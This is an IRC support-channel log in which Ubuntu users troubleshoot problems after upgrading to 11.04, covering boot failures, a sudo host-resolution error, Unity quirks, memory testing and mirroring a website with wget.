[01:09] <amews_aj> Has the TASKbar been removed in Ubuntu 11.04 ? Replaced by the "dock" ?
[01:09] <IdleOne> Arachon: correct
[01:09] <r0fs3ck5> Tell me, is natty LTS?
[01:09] <syn3rgy> Who are the core developers of Unity ?
[01:10] <[4-tea-2]> So, please tell me, am I the only one with video/audio issues? (vdr+xine: "No Signal", xbmc: very slow framerate video, no audio)
[01:10] <pr3d4t0r> Greetings.
[01:10] <IdleOne> r0fs3ck5: no it isn't
[01:10] <lcb> !LTS
[01:10] <ubottu> LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[01:10] <Arachon> carl-m: Right, so, essentially, if I want to back up my savegames, this would be the place?
[01:10] <silentz0r> lcb: doesn't boot up with the battery on
[01:10] <Arachon> I realize this will vary between programs, but generally
[01:10] <r0fs3ck5> IdleOne: ty
[01:10] <carl-m> Arachon: it depends on the game. Some games use /var/games
[01:11] <lcb> silentz0r, remove the battery. and try again with the cord. something's wrong with that computer, not natty
[01:11] <silentz0r> lcb: it's crazy, it boots up on it's own when there's no battery
[01:11] <pr3d4t0r> Q. Can you please tell me which utility will run a memory test on a running system that will report a faulty SIMM?  Headless 1U server in co-lo, Dapper.  Thanks in advance.
[01:11] <silentz0r> lcb: nothing was wrong until I upgraded
[01:11] <silentz0r> lcb: and as I told you, the shutdown prompt was up and I even if I selected cancel it would promt me again
[01:11] <syn3rgy> I mean "normal" linux and BSD list who does what ie http://www.debian.org/intro/organization#officers . I want to know who is the core team for Unity.
[01:11] <Lxndr> I have music on my iPod and want to use a program to extract music from the iPod to my hard drive. Does a program like that exist for ubuntu, and if so, where can I find it?
[01:11] <silentz0r> lcb: and eventually shut down
[01:11] <lcb> silentz0r, strange... can you elaborate a bit lol... you remove the battery and the power cord and still boots?
[01:11] <gkahn> hi all, a query: I am following a tutorial to compile a kernel, and tells me I have a requirement lib64qt3-devel, but can not find in ubuntu. Does anyone know which repositories should I aim for to download? or what would the equivalent file gnome desktop?
[01:12] <silentz0r> lcb: no, i remove the cord and the battery, then plug the cord and it boots up
[01:12] <[4-tea-2]> pr3d4t0r: from userspace: memtester, but you might also have a memtest entry in your grub menu.
[01:12] <silentz0r> lcb: ofc it doesn't boot with no power source :P
[01:12] <silentz0r> lcb: I wouldn't complain AT ALL if that was happening :D
[01:12] <mjs> hi all...i need to know about website ripping?
[01:12] <pr3d4t0r> [4-tea-2]: Checking on both - thanks.
[01:12] <lcb> silentz0r, ok. did you press the key to go to bios setup?
[01:12] <silentz0r> lcb: yes, can't
[01:12] <[4-tea-2]> pr3d4t0r: not sure if dapper has either ;)
[01:13] <silentz0r> lcb: it doesn't go as far as BIOS
[01:13] <silentz0r> lcb: just a second, maybe less, of blank screen
[01:13] <syn3rgy> I saw this happen to Red Hat back in the 90's...
[01:13] <pr3d4t0r> [4-tea-2]: Installing memtester - thanks.
[01:13] <lcb> silentz0r, sorry to ask, are you sure is the correct key? on acer i believe if F2 isn't? or DEL
[01:13] <[4-tea-2]> pr3d4t0r: yw
[01:13] <mjs> wget is the way to go?
[01:13] <silentz0r> lcb: i tried DEL as well
[01:13] <silentz0r> lcb: to enter BIOS settings. Nothing works
[01:13] <Enekk> Hello everyone, I hate to bother, but I was hoping someone could tell me if there was a way to reduce/disable the active window shadows in 11.04.
[01:14] <tripelb> Idleone, can I make some kind of shortcut to that. (In windoze for instance it appears in the taskbar drawer when you have something in it. I think.)
[01:14] <silentz0r> lcb: it looks as if the BIOS doesn't even load
[01:14] <lcb> silentz0r, DEL, ESC, F8 ... one of those, not sure on that machine
[01:14] <[4-tea-2]> mjs: if you feel comfortable on the command line, wget is all you need.
[01:14] <Enekk> (I already tried the Compiz window decorations plugin in ccsm)
[01:14] <goldfire> who had some difficult to install ubuntu 11.04
[01:14] <lcb> silentz0r, that's really strange. do you have anything in the CD drive or USB?
[01:14] <tripelb> idleone I've forgotten that at least twice before.
[01:14] <Juest> umm, how to force monitor detecion
[01:14] <[4-tea-2]> mjs: it does recursive retrieval, optionally spanning hosts
[01:14] <silentz0r> lcb: nope
[01:14] <Juest> or list the modules?
[01:15] <Juest> modules that can be modprob ed
[01:15] <needlez> hey, got a quick question, what is the deal with trying to install dofus on ubuntu 11.04?? dofus is a program that uses adobe air to install, it wont install at all for me.
[01:15] <mjs> 4-tea-2, ok...so how to assign target directory?
[01:15] <Juest> needlez: install air first
[01:15] <syn3rgy> Is there anyway for me to get my 3D cube desktop back. I have a VM on each desktop.
[01:15] <tripelb> Progress towards "seeing" Tibetan characters. I googled differently and ... http://www.google.com/support/forum/p/Chrome/thread?tid=1829c03d30fa52bf&hl=en
[01:15] <coz_> guys I have a issue finally,, since lucid my cursor will ,, without warning ,, jump around the screen,, any solutions?
[01:15] <lcb> silentz0r, you need to discharge  that computer. remove the battery, the power cord, wait a while then.
[01:15] <needlez> also, has anyone had any glitches or issues with the screensaver?? rss-glx and nvidia graphics cards?
[01:16] <carl-m> needlez: screensaver crashed for me earlier today, after upgading. I disabled it
[01:16] <[4-tea-2]> mjs: cd target; wget ... will result in a target/www.myserver.com/...
[01:16] <syn3rgy> needlez what card and divers?
[01:16] <syn3rgy> needlez is it pre CUDA ?
[01:16] <lcb> silentz0r, in any case, go to that model's site and see if there is any known issue. i believe it is a coincidence what's going on. not really 11.04 fault
[01:17] <silentz0r> lcb: I hope so, I really like ubuntu and don't wanna go back to g4y M$
[01:17] <mjs> 4-tea-2, one sec..
[01:18] <lcb> coz_,  try changing the mouse. that happened w me too and solved
[01:18] <r0fs3ck5> mjs: sudo mkdir website, cd website, wget www.website.com
[01:18] <Josesordo> hello all... Gnome 3 or Unity? .. what do you think?..
[01:18] <[4-tea-2]> mjs: man wget is your friend - especially the section on Recursive Retrieval Options.
[01:18] <IdleOne> silentz0r: please don't use the term gay as a pejorative also try to keep it family friendly as possible in here. thank you.
[01:18] <njbair> I added a filezilla launcher to the unity dock and when I open filezilla the dock doesn't show it as running.
[01:18] <syn3rgy> silentz0r Debian Squeeze is really nice ... ZERO blobs in the kernel now. Stable as heck etc. Don't go back to MS
[01:18] <pr3d4t0r> [4-tea-2]: Would you recommend any number of tests, or just one?  AMD64 3 GHz.
[01:18] <carl-m> Josesordo: they both seemed odd to me, so I switched to xfce
[01:18] <coz_> lcb,  well the mouse has been changed many times with the same issue,, regardless of the manufacturer
[01:18] <pr3d4t0r> [4-tea-2]: I meant test runs.
[01:18] <coz_> this has been consistently happening since lucid
[01:18] <silentz0r> IdleOne: that's why I used the non existant word g4y.
[01:18] <coz_> amoung other things :(
[01:18] <lcb> silentz0r, for now we only really need to have that machine turning on... ubuntu or other distro or OS is irrelevant at this point
[01:19] <Enekk> Sorry I might have missed if someone answered my question, I hit the wrong thing and killed chat (derp)
[01:19] <nsur> silentz0r: reboot then hit BIOS (f2/f12/dell) key right away repeatedly until you have the BIOS manager. hope will help
[01:19] <Name141> Is it possible to make a startup flash disk within windows without booting to a CD?
[01:19] <IdleOne> silentz0r: obfuscation of a word does not change the meaning and intent.
[01:19] <silentz0r> lcb: know that
[01:19] <trollboy> so, is there a handy link on how to customize the new menu bar on ubuntu?
[01:19] <SerialMDK> ~>lcb<~ it still black screens using unetbootin
[01:19] <silentz0r> IdleOne: you never know the intent, unless the author tells you what the intent is.
[01:19] <[4-tea-2]> pr3d4t0r: I usually let memtest run for a couple of hours (e.g. over night) with changing test patterns.
[01:19] <lcb> coz_, i was using an asus mouse on a non asus machine. changed it and problem solved
[01:20] <IdleOne> silentz0r: ok. I am not going to debate this with you. Just please don't do it again.
[01:20] <Josesordo> carl-m, xfce can use compiz and some docky?
[01:20] <r0fs3ck5> trollboy: which ubuntu?
[01:20] <pr3d4t0r> [4-tea-2]: Coolio - thanks.
[01:20] <trollboy> r0fs3ck5, I just upgraded to 11.04
[01:20] <trollboy> Naughty Narwhal?
[01:20] <IdleOne> trollboy: unfortunately there isn't much customization available to you.
[01:20] <silentz0r> IdleOne: I get what you're saying, but I have a quite big issue and you point out something completely irrelevant which doesn't help.
[01:20] <luchino> ciao a tutti
[01:20] <lcb> SerialMDK, i'm really sorry and i understand how you are. from my side i'm out of ideas :(
[01:21] <[4-tea-2]> trollboy: check your spelling, it's obviously Nutty Narwhal
[01:21] <mythos> hi, may someone is able to answer. do somone know with which compile-parameters the ubuntu 10.10 binaries are build (except glibc, i know they are optimised for i686)?
[01:21] <carl-m> Josesordo: I think so; http://ubuntuforums.org/showthread.php?t=203877
[01:21] <trollboy> [4-tea-2], sorry
[01:21] <r0fs3ck5> trollboy: feature still in development
[01:21] <IdleOne> silentz0r: it is relevant to the atmosphere we in the ubuntu community try to keep in our irc channels.
[01:21] <[4-tea-2]> trollboy: ego te absolvo.
[01:21] <lcb> IdleOne, could you try silentz0r pls pretty pls
[01:21] <akharris> Hey, I'm on a Macintosh, And my sound isn't working. There is a infared beam coming from my headphone jack and when i go under sound in system settings i dont know what to do. Running 32bit 11.04 17inch Macbook pro
[01:21] <r0fs3ck5> trollboy: but you can try
[01:21] <njbair> would anyone recommend a GUI FTP client besides filezilla?
[01:21] <IdleOne> lcb: I said please twice. :)
[01:21] <trollboy> r0fs3ck5, stil in development?  But I thought I got the stable release?
[01:21] <akharris> what do
[01:21] <Enekk> @Name141: Yes, check out https://wiki.ubuntu.com/LiveUsbPendrivePersistent#Installing%20Ubuntu%20on%20USB%20drive%20using%20Windows
[01:22] <lcb> IdleOne, noooo.. with his issue
[01:22] <lcb> oops, IdleOne sorry, i mean SerialMDK
[01:22] <IdleOne> trollboy: you did get the stable release but it is not feature full as you would hope at this point.
[01:22] <trollboy> oh well
[01:22] <trollboy> I'll wait
[01:22] <silentz0r> lcb: he probably won't, as I said a bad word while in a bad situation.
[01:23] <[4-tea-2]> njbair: I prefer the command line, but sometimes I use nautilus for ftp/ssh file transfer.
[01:23] <Name141> Enekk: I downloaded the AMD 64 bit ISO and for some reason this machine wont boot with it
[01:23] <[4-tea-2]> njbair: nautilus is your standard file manager on Ubuntu
[01:23] <akharris> Hey, I'm on a Macintosh, And my sound isn't working. There is a infared beam coming from my headphone jack and when i go under sound in system settings i dont know what to do. Running 32bit 11.04 17inch Macbook pro
[01:23] <lcb> IdleOne, i believe is a hardware issue.. but, just in case you have more ideas.. the comp don't even boot
[01:23] <asdf_msc> where can i download 32-bit development libraries for 64 bit?
[01:23] <carl-m> Name141: I had all sorts of trouble with the 64bit iso today
[01:23] <r0fs3ck5> trollboy: http://ubuntuforums.org/showthread.php?t=1623950
[01:23] <mjs> 4-tea-2, perfect!!!...thank you much...!
[01:23] <[4-tea-2]> mjs: yw!
[01:23] <carl-m> Name141: does it have any sort of error message?
[01:23] <Name141> carl-m: my new system doesn't have drives yet
[01:23] <tripelb> now that I have a font where do I put it for it to be "installed"?
[01:23] <lcb> silentz0r, was my mistake referring to you, sorry
[01:24] <tamer> Hello, I am trying to load the uinput module but it's not working. No errror messages are given. Any ideas?
[01:24] <Name141> carl-m: was hoping to see hot it ran Ubuntu (live)
[01:24] <silentz0r> lcb: ah, nvm
[01:24] <needlez> syn3rgy: sorry, its a nvidia 310M, and using the screensavers don't crash just I noticed a strange line that seperates the screen half like
[01:24] <carl-m> Name141: sure; but what sort of error do you get, if any?
[01:24] <akharris> Any1 here on Macbook or any apple product running Ubuntu 32bit 11.04?
[01:24] <Lxndr> I have music on my iPod and want to use a program to extract music from the iPod to my hard drive. Does a program like that exist for ubuntu, and if so, where can I find it?
[01:24] <Name141> carl-m: It just sits there black, can't move the mouse or anything
[01:24] <Enekk> Name141: You might want to download the 64 bit alternative iso, maybe it is a weird driver issue?
[01:24] <needlez> Juest: KK, ill try that im gonna uninstall it right now then try that
[01:24] <carl-m> Lxndr: I used to be able to do with with rhythmbox, but for some reason I can't seem to do it with banshee now.
[01:24] <snowdrop1> akharris: Im on a Macbook Air (3,2)...running Ubuntu  11.04, but its 64.
[01:25] <Name141> Enekk: If I'm doing it over, I'm getting the 32bit
[01:25] <Name141> I don't have the bandwidth to do it over and over
[01:25] <akharris> snowdrop, do u have any problems with sound?
[01:25] <Enekk> Name141: Is your machine in fact not 64 bit?
[01:25] <Name141> Enekk: this machine is E2160
[01:25] <syn3rgy> needlez that card is a good card in laptops. Also supports cuda. Don't see what there should be a problem
[01:25] <carl-m> do you get a mouse pointer? Is the machine set to boot from the cd drive?
[01:25] <Name141> Enekk: the new one without drives in it yet is Athlon II X4
[01:25] <akharris> snowdrop1: Do you hav problems with your sound?
[01:25] <tamer> Guys, anyone managed to enable auth via the fingerprint reader?
[01:25] <syn3rgy> needlez did you install the Nvidia drivers?
[01:26] <snowdrop1> akharris:  I did get an issue with sound (had no sound) after updating my perfectly working 10.10 to 11.04...but I solved it just a few minutes ago by removing the mactels sound-stuff
[01:26] <Josesordo> carl-m, I dont know.. XCFE seems old version.. I prefer install gnome 3.. I will try.. xD
[01:26] <lcb> SerialMDK, just occurs to me. do you have on that laptop a reset "hole"?
[01:26] <SerialMDK> ~>lcb<~ im installing on a desktop
[01:26] <carl-m> Josesordo: whatever you prefer, it's up to you.
[01:26] <akharris> snowdrop1: Do you think you could walk me through with that? im new to Ubuntu and want to fix my no sound problem
[01:26] <snowdrop1> akharris: PM.
[01:26] <Enekk> Name141: Well, google tells me that the the E2160 is 64bit, I'd guess the other is as well
[01:27] <Name141> Enekk: maybe bad download ?
[01:27] <lcb> SerialMDK, hmmm so the other option is resetting CMO
[01:27] <mdel> pr3d4t0r: memtest+
[01:27] <needlez> syn3rgy: no drivers where provided when i installed ubuntu 11.04,  didn't even have to activate them
[01:27] <mdel> pr3d4t0r: boot to grub and select it
[01:27] <Enekk> Name141: but it sounds like you hit a graphical issue if you just got a black screen.  Try the alternative isos
[01:27] <lcb> SerialMDK, did you ever do that? is the pc case open?
[01:27] <SerialMDK> i have a reset switch
[01:27] <Name141> Enekk: It's not really a graphical issue if the USB isn't responding and I can't get to the desktop lol
[01:27] <carl-m> needlez: the drivers are usually done automatically, if you selected the box for non-free software at the beginning of the install
[01:27] <lcb> SerialMDK, no, that's not that one, in this situation
[01:28] <Name141> Enekk: The "try/install" screen doesn't even come up before it scews up
[01:28] <Name141> screws
[01:28] <tripelb> Howto Install FONT? now that I have a font where do I put it for it to be "installed"? Help wont load what I choose. goes to arrow curosr to show it's done. Then click choice again and help vanished. Ubuntu fail. (did it twice)
[01:28] <Enekk> Name141: That is why I think drivers, maybe graphics, it has a fully graphical install environment
[01:28] <syn3rgy> needlez ahhh OK. You are using the VESA drivers then. If you Activate the Nvidia ones then your problems should be gone.
[01:28] <SerialMDK> ~>lcb<~ cmos?
[01:28] <needlez> nvidia 270.41.06, also sometimes when i click a window it wont totally grab it correctly
[01:28] <carl-m> Name141: try the 32bit, see if it works better. I had to burn three discs before I managed to get one that worked today
[01:29] <shiftingcontrol> I am doing distro update,if my pc gets shutdown because of power when processing installing the upgrades what will happen ?
[01:29] <Name141> carl-m: I'll have to wait till about 3 AM then
[01:29] <carl-m> Name141: what time is it for you locally?
[01:29] <Name141> carl-m: 7:27 PM
[01:29] <needlez> also adobeair isnt in my synaptics.. not sure why this is a 64bit edition
[01:29] <MrHatter> shiftingcontrol, hell would reign down.
[01:29] <carl-m> shiftingcontrol: usually you can just reboot and start again
[01:29] <carl-m> Name141: that sucks
[01:30] <lcb> SerialMDK, resetting the CMO. you need to find (manual/user guide) a jumper to reset it. also you need to remove the battery from the motherboard.
[01:30] <Name141> carl-m: that's hughesnet caps.
[01:30] <syn3rgy> Its 2:29am here
[01:30] <shiftingcontrol> MrHatter, carl-m:after restart i should start d/l again to update ?
[01:30] <SerialMDK> lbc, i have a switch that clears it without removing battery
[01:30] <syn3rgy> sudo shutdown -hP now
[01:30] <SerialMDK> ~>lcb<~
[01:30] <carl-m> shiftingcontrol: how are you doing the update the first time?
[01:30] <Name141> carl-m: I suppose I could use the 32bit 10.10 on a USB stick for now to test the machines workability , sensors (temps) and all for now.
[01:30] <bjsnider> !find vmwgfx_drv.so
[01:31] <ubottu> Package/file vmwgfx_drv.so does not exist in natty
[01:31] <newbie112> Hello, can anyone tell me what has happened to my comp? My keyboard does not work in Terminal except for the enter button
[01:31] <shiftingcontrol> carl-m, Update manager
[01:31] <Enekk> Anyone out there know how to remove the active window drop shadows in 11.40 on classic mode?
[01:31] <lcb> SerialMDK, so try it. but look at the manual to see the exact procedure
[01:31] <Name141> carl-m: I suppose I'd only have 3.2 GBs of RAM
[01:31] <Name141> of the 4
[01:31] <bjsnider> !find vmwgfx_dri.so
[01:31] <tripelb> HowTo Install a font -- https://wiki.ubuntu.com/Fonts -- dhu.. double click on the extracted font file.
[01:31] <ubottu> Package/file vmwgfx_dri.so does not exist in natty
[01:31] <SerialMDK> ~>lcb<~ ok ill try it
[01:31] <jerriy> Hi
[01:32] <lcb> SerialMDK, on a last case scenario remove the HD and at least we know if is or not a 11.04 issue. i'm pretty sure isn't
[01:32] <jerriy> Question: my sudo failed (can't update, can't install apps cant do nothing) Can someone tell me how on earth I should work
[01:32] <MrHatter> i just upgraded to 11.04 and have know desktop input, ctrl-alt-f2 works, but nothing on the desktop, mouse moves around, but no clicking or keyboard stuff. where do i start ???
[01:32] <carl-m> shiftingcontrol: sometimes you have to run dpkg --configure --pending or similar. but I would start by just trying the update again, assuming the system will boot
[01:32] <newbie112> can anyone tell me why my keyboard stopped working in terminal
[01:32] <shiftingcontrol> carl-m, Thanks
[01:32] <carl-m> if it won't boot, I would do what I would recommend in the first place: don'ty upgrade, just install clean
[01:32] <newbie112> it works otherwise
[01:33] <bobbyd> Hey, is there any way to move the window close icon to the right when a window is maximized in 11.04 and using unity?
[01:33] <Enekk> bobbyd: Check out Ubuntu Tweak (google for it) I think it'll do that (not sure if it will for Unity)
[01:33] <fishhat> clear
[01:34] <Name141> Enekk: I just use UNetbootin to try the 64bit ISO ?
[01:34] <jerriy> Can sb help me I have a sudo problem
[01:34] <unforgiven512> Figured out my wlan issues, switched from wl to b43, works fine now :)
[01:34] <fishhat> what happpend?
[01:34] <bobbyd> Enekk, that only seems to work when not maximised
[01:34] <fishhat> sudo problem
[01:34] <fishhat> ..
[01:34] <victorhugo289> sudo problem :P
[01:34] <Enekk> Name141: Yeah, it installes the iso to your flash drive and then you can boot off of that
[01:34] <needlez> got adobeair 2 for 64 bit, had to do it myself as they dont release packages for the 64bit
[01:34] <jerriy> fishhat: yes I can't update/install and all that
[01:34] <Enekk> bobbyd: oh, sorry then mate
[01:35] <fishhat> what are you running?
[01:35] <bobbyd> Np, thanks anyway :)
[01:35] <fishhat> linux?
[01:35] <carl-m> jerriy: what is the problem?
[01:35] <newbie112> can anyone help me?
[01:35] <bjsnider> !find vmwgfx_drv.so maverick
[01:35] <ubottu> Package/file vmwgfx_drv.so does not exist in maverick
[01:35] <carl-m> newbie112: it works in other applications?
[01:35] <newbie112> yes
[01:35] <asdf_msc> apparently i need to 'install 32-bit development libraries', where might i find them?
[01:35] <needlez> ok, even with me installing it, as a 64 bit myself it still wont install Dofus ... what is goin on here,
[01:35] <newbie112> everything else except terminal
[01:35] <Enekk> bobbyd: I think it might be hard because of the unity menu thing - it literally occupies the space that a right sided control would
[01:35] <carl-m> try making a new profile in terminal to see if it's something in the profile preferences
[01:36] <carl-m> file->new profile
[01:36] <Juest> !help | newbie112
[01:36] <ubottu> newbie112: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[01:36] <jerriy> the problem is what i stated: can't do anything (unable to resolve host"
[01:36] <Juest> !repeat | newbie112
[01:36] <ubottu> newbie112: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[01:36] <Juest> well lol
[01:36] <carl-m> jerriy: what command are you typing that it says that?
[01:36] <syn3rgy> I too say "good by and thanks for all the fish"
[01:36] <jerriy> sudo apt-get update  (for example)
[01:37] <carl-m> jerriy: please run this: sudo whoami
[01:37] <Name141> Enekk: how would I know how much space I could tell it to save for saving across reboots ?
[01:37] <carl-m> does it say "root" ?
[01:37] <trollboy> what about killing the autohide?
[01:37] <lcb> newbie112, unplug and plug the kb
[01:37] <needlez> also, its lagging horribly on updating xchat here, it took like 5 minutes and its lagging something terrible
[01:37] <bobbyd> Enekk, that's what I thought, but it's really annoying to be forced to do that if I want to use unity, I'll just go back to classic mode then
[01:37] <trollboy> I use synergy and I keep just popping over to the other screen instead of activating the menu?
[01:37] <Name141> Enekk: It's a 7.64 GB flash drive ( " 8 GBs " )
[01:38] <Enekk> Name141: You don't really need much, the thing is that it will partition the free space and you can always save to that.  Maybe set it to 1 or 2 gigs
[01:38] <trihope> does anybody know how to open another browser window from the launcher icon once you already have one open?
[01:38] <newbie112> whats a kb?
[01:38] <jerriy> carl-m: I cant "sudo" so "sudo whoami" is no go
[01:38] <morelli> hi why would unity display little static(as in tv static) screens everywhere where an icon or menu should be?
[01:38] <Enekk> Bobbyd: I left unity for classic too, not worth the pain
[01:38] <lcb> newbie112, keyboard
[01:38] <newbie112> oh
[01:38] <Name141> Enekk: I told it 2000 MBs
[01:38] <newbie112> its not pluggable
[01:38] <newbie112> laptop
[01:38] <carl-m> jerriy: when you run 'sudo whoami' it says something about resolving the host?
[01:38] <jerriy> yes
[01:39] <newbie112> i tried a new profile and looked at the preferences but it didnt seem to be anythingin there
[01:39] <Enekk> name141: that's more than enough
[01:39] <bobbyd> Yeah, it's a shame though as it's got potential
[01:39] <asdf_msc> 32-bit dev libraries, anybody know where to get them?
[01:39] <carl-m> this is before it asks for a password?
[01:39] <Enekk> bobbyd: true, give it a release cycle or two
[01:39] <newbie112> i just upgraded to natty narwhal
[01:39] <newbie112> maybe that has something to do with it
[01:39] <jerriy> no after
[01:39] <lcb> newbie112, you might need to reconfigure it then.
[01:39] <newbie112> the terminal was working
[01:39] <newbie112> hmm
[01:40] <newbie112> i got up to the point where it wants you to input your password to get your encrypted key to store
[01:40] <trihope> how do you open another browser window from the launcher icon once you already have one open?
[01:40] <newbie112> and it stopped working
[01:40] <Name141> Enekk: seems to be taking all day on "filesystem.squashfs"
[01:40] <ChogyDan> trihope: can you just click it again?
[01:40] <jerriy> carl-m: I've tried to sort out the issue by reading stuff on the net and stuff like /etc/hosts but I can't see what's wrong
[01:41] <morelli> why would unity display little static(as in tv static) screens everywhere where an icon or menu should be?
[01:41] <lcb> newbie112, it worked before???
[01:41] <asdf_msc> trihope: Ctrl+N on the open window
[01:41] <Enekk> name141: it does because it is making a 2000 meg container, give it time
[01:41] <trihope> nope, that's not working
[01:41] <trihope> k hold on
[01:41] <newbie112> yes the terminal was working
[01:41] <Name141> aye
[01:41] <newbie112> now I am at the point where it wants to randomly generate a key
[01:41] <lcb> newbie112, restart then. did you try it?
[01:41] <carl-m> jerriy: can you run 'gksudo gnome-terminal' successfully?
[01:41] <Name141> Enekk: okie dokey it's moving again
[01:41] <newbie112> so I clicked run action now
[01:41] <ChogyDan> trihope: also try right clicking the launcher
[01:41] <newbie112> it pulls up the terminal
[01:41] <newbie112> and suddenly only enter works
[01:41] <asdf_msc> ChogyDan: doesn't do it
[01:41] <Enekk> Name141: I tend to install from the USBs, if this fails you really should try the alternative ISO when your cap is up as it has a non graphical installer
[01:42] <newbie112> no i will restart
[01:42] <lcb> newbie112, yes
[01:42] <newbie112> restart terminal?
[01:42] <newbie112> yea i did that
[01:42] <trihope> ChogyDan: I tried clicking it and it does nothing
[01:42] <lcb> newbie112, the computer
[01:42] <jerriy> carl-m: no I can't gksudo
[01:42] <Name141> Enekk: I just want to make sure the motherboard isn't DOA , or processor, or RAM..
[01:42] <newbie112> but i will restart the computer if this it what you are thinking
[01:42] <Name141> Enekk: Before I go ordering a hard drive and DVD burner
[01:42] <newbie112> oh ok
[01:42] <jerriy> (process:5324): Gtk-WARNING **: Locale not supported by C library.
[01:42] <needlez> ok, so i just got kicked from my session also, like seriously someone got a good debian based derivative that works unlike ubuntu 11.04?? and not mint just transferred from it because its updates never worked properly
[01:42] <asdf_msc> trihope: are you using chrome or firefox?
[01:42] <Enekk> Name141: Understood.
[01:42] <lcb> newbie112, you can log off and on again. if doesn't work restart
[01:43] <trihope> asdf_msc: i guess it's a little more complicated than that. I created a launcher for chrome incognito
[01:43] <bastidrazor> needlez: 10.04 works well and is freakishly stable
[01:43] <Name141> Enekk: the 'setting up persestince" is taking forever now
[01:43] <carl-m> jerriy: can you post the exact error, and the contents of /etc/hosts, to a pastebin?
[01:43] <Enekk> Name141: You might also want to go download The Ultimate Boot CD and run some burn in tests on your hardware, but that will need to be made a CD
[01:43] <asdf_msc> yes, that's not quite what you were asking
[01:43] <jerriy> pastebin?
[01:43] <trihope> for some reason it has regular chrome open and when I click on the launcher for icognito it won't open a new browser
[01:43] <Enekk> Name141: Yeah, sorry about that, the whole making space thing takes for freaking ever
[01:43] <KNUBBIG> !pastebin | jerriy
[01:43] <ubottu> jerriy: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[01:43] <morelli> why would unity display little static(as in tv static) screens everywhere where an icon or menu should be?
[01:44] <Name141> Enekk: OK, so it's not 'hung' ?
[01:44] <trihope> asdf_msc: for some reason it has regular chrome open and when I click on the launcher for icognito it won't open a new browser
[01:44] <bastidrazor> morelli: bad reception?
[01:44] <Enekk> Name141: Likely not, I've seen it take upwards of 10 minutes before
[01:44] <trihope> asdf_msc: i tried the ctrl+n and it did open a new browser but it's not icognito.  brb
[01:45] <morelli> bastidrazor: funny, but it looks like memory from gpu in graphical form;)
[01:45] <eoss> hello, i have installed portal 2 on wine and i am getting intense flickering in the video when playing, ive google searched this problem and i am coming up with nothing, i am sure my graphic card drivers are updated
[01:45] <eoss> i have radeon hd4870
[01:45] <needlez> bastidrazor: cant use 10.04 i have i7 toshiba laptop that wont allow any kernel before 2.6.35 to run properly , hence 10.04 uses like 2.6.32 i think so i can even get it to install
[01:45] <morelli> bastidrazor: raw memory from gpu in graphical form;)
[01:46] <trihope> asdf_msc: back
[01:46] <bobbyd> Eoss, video like movies? Or just the 3d scene?
[01:46] <eoss> i mean the game
[01:46] <eoss> the sequence movies seem fine its in game
[01:46] <botcity> morelli, is it a fresh install from cd ? or a upgrade from update manager
[01:47] <eoss> switching to windowed mode helps but not fully still unplayable, in non-windowed its very insane flickering
[01:47] <bobbyd> Ok, how about using winetweaks to instal the official d3d libs?
[01:47] <jerriy> carl-m: /etc/hosts ········> http://paste.ubuntu.com/601536/
[01:47] <bastidrazor> needlez: what a crapy laptop
[01:48] <morelli> botcity recent upgrade when it asked i agreed
[01:48] <trihope> asdf_msc: if i click on the regular chrome launcher it will open new regular browser, but the indicator triangle shows up on the icognito launcher even though I don't have icognito window open
[01:48] <eoss> bobbyd: not sure how to do that, ill do some research
[01:48] <Rehan> is there a way to run the sensors-applet with a flag?
[01:48] <Enekk> Name141: I am going to have to run now.  Anything else I can answer before I do?
[01:48] <carl-m> jerriy: what output do you get from 'hostname'
[01:48] <morelli> botcity: recent upgrade when it asked i agreed
[01:49] <morelli> botcity: gpu is ati asus ah 3450
[01:49] <jerriy> carl-m: "myhost"
[01:49] <trihope> asdf_msc: fixed it. I just ran "unity --replace" and it showed up and launcher seems to be working fine now
[01:49] <carl-m> jerriy: ok, making progress. now, run '/sbin/ifconfig lo' and tell me if you see "inet addr:127.0.0.1"
[01:49] <duffmyver> anyone have any ideas how to fix either the brightness keys or my intermittent wifi problems on a samsung n150, running netbook edition? i have wifi working, but it'll only work sometimes - have to keep  rebooting my machine until it works
[01:50] <duffmyver> i'm a real linux noob...
[01:50] <GamingDroid> is there no 11.04 version for LTS?
[01:50] <carl-m> GamingDroid: no, 11.04 is not LTS
[01:50] <bazhang> GamingDroid, no
[01:51] <KM0201> GamingDroid: whyw ould there be?
[01:51] <jerriy> carl-m: inet addr:127.0.0.1  Mask:255.0.0.0
[01:51] <carl-m> jerriy: the problem seems to be you have 127.0.1.1 in /etc/hosts but you need to have 127.0.0.1
[01:51] <Enekk> Name141: Well, I hope not.  Good luck and remember, if you really want to test your new hardware go download the Ultimate Boot CD and run some of the testing tools on there.  I always do it with new hardware.
[01:51] <duffmyver> anyone have any ideas about the wifi on a samsung n150?
[01:52] <Otoris> Anyway to shrink the gigantic size of this obtuse launcher?
[01:52] <carl-m> Otoris: stand farther away from the screen?
[01:52] <saege> is there no option to add shortcuts on the desktop from unity?
[01:52] <GamingDroid> So when is the next LTS release?
[01:52] <Otoris> Ha! seems like it would work.
[01:52] <bazhang> GamingDroid, 12.04
[01:52] <GamingDroid> So it is released every 2-years?
[01:52] <carl-m> Otoris:  I don't like it either, but I couldn't see any direct way to configure the size or the color
[01:52] <carl-m> maybe someone else here knows
[01:52] <jerriy> carl-m: meaning I need to add "myhost" to the first line in etc/hosts?
[01:53] <carl-m> jerriy: or just change the 127.0.1.1 to 127.0.0.1
[01:53] <trihope> how do i change icons on the unity launcher (the image)
[01:53] <carl-m> I can't guarantee that's the problem, but it seems like something that's not right
[01:54] <botcity> morelli, does it boot up ok ?
[01:54] <jerriy> I'll try that and will be back (certainly if it didn't work out ;), carl-m
[01:54] <linuxmonkey> were would i find the md5 hash to make sure a cd i downloaded is authentic
[01:54] <needlez> bastidrazor: crappy is an opinion and point of perspective, to me it isn't crappy however, when an OS like ubuntu goes and changes all things and half those things are buggy and not just with my laptop but multiple machines in my home, i believe it is an OS issue
[01:55] <botcity> linuxmonkey, from the site you got the image
[01:56] <carl-m> Otoris: if you install the compiz settings manager, it's under 'Unity plugin' -> 'Experimental'
